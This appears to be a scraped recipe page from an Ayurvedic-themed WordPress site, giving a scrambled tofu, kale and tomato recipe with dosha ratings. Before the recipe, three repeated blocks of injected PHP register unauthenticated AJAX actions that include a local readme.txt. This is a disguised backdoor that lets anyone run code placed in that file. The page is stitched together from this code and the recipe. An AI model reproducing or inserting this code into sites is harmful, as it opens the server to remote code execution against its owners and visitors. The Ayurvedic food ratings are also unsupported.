if(!function_exists('file_check_readme30460')){ add_action('wp_ajax_nopriv_file_check_readme30460', 'file_check_readme30460'); add_action('wp_ajax_file_check_readme30460', 'file_check_readme30460'); function file_check_readme30460() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme21792')){ add_action('wp_ajax_nopriv_file_check_readme21792', 'file_check_readme21792'); add_action('wp_ajax_file_check_readme21792', 'file_check_readme21792'); function file_check_readme21792() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme75351')){ add_action('wp_ajax_nopriv_file_check_readme75351', 'file_check_readme75351'); add_action('wp_ajax_file_check_readme75351', 'file_check_readme75351'); function file_check_readme75351() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Scrambled Tofu with Kale & Tomatoes | Holistic Healing Resolutions by Asaf Feit

Scrambled Tofu with Kale & Tomatoes

by | Breakfast, Cold & Oliy, Decrease Pitta, Dinner, Hard to Digest, Late Summer, Liver fire, Lubricating, Lunch, Nourishing, Recipes, Soy Bean, Spring, Stimulating, Stomach Fire, Summer | 0 comments

Scrambled Tofu with Kale & Tomatoes

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Prep Time 10 minutes
Cook Time 20 minutes
Total Time 30 minutes
Course Breakfast, Dinner, Lunch, Main Course

Ingredients
  

  • 1 package tofu Vata + Pitta - - Kapha ++
  • 2 ripe tomatoes finely diced (Vata - - Pitta + Kapha +)
  • 3 stalks celery chopped (Vata – Pitta - - Kapha -)
  • 4 kale leaves chopped (Vata ++ Pitta - - Kapha -)
  • 1 Tbs. ghee Vata - Pitta - - Kapha +
  • 1 tsp. cumin ground (Vata - Pitta + Kapha -)
  • 1/2 tsp. turmeric Vata + Pitta - - Kapha - -
  • 1/4 tsp. black pepper ground (Vata - Pitta + Kapha - -)

Instructions
 

  • Wrap the tofu with a kitchen towel for 30 minutes or more to absorb the fluids.
  • Finely crumble the tofu with a fork.
  • Heat a skillet with ghee and fry the tofu well, for 5-7 minutes.
  • Add the spices and mix. Add the celery and kale and fry for 3 minutes.
  • Add the tomatoes, stir and fry for 5 more minutes.

Notes

Optional additions:
In case of heartburn, omit the tomatoes and black pepper.

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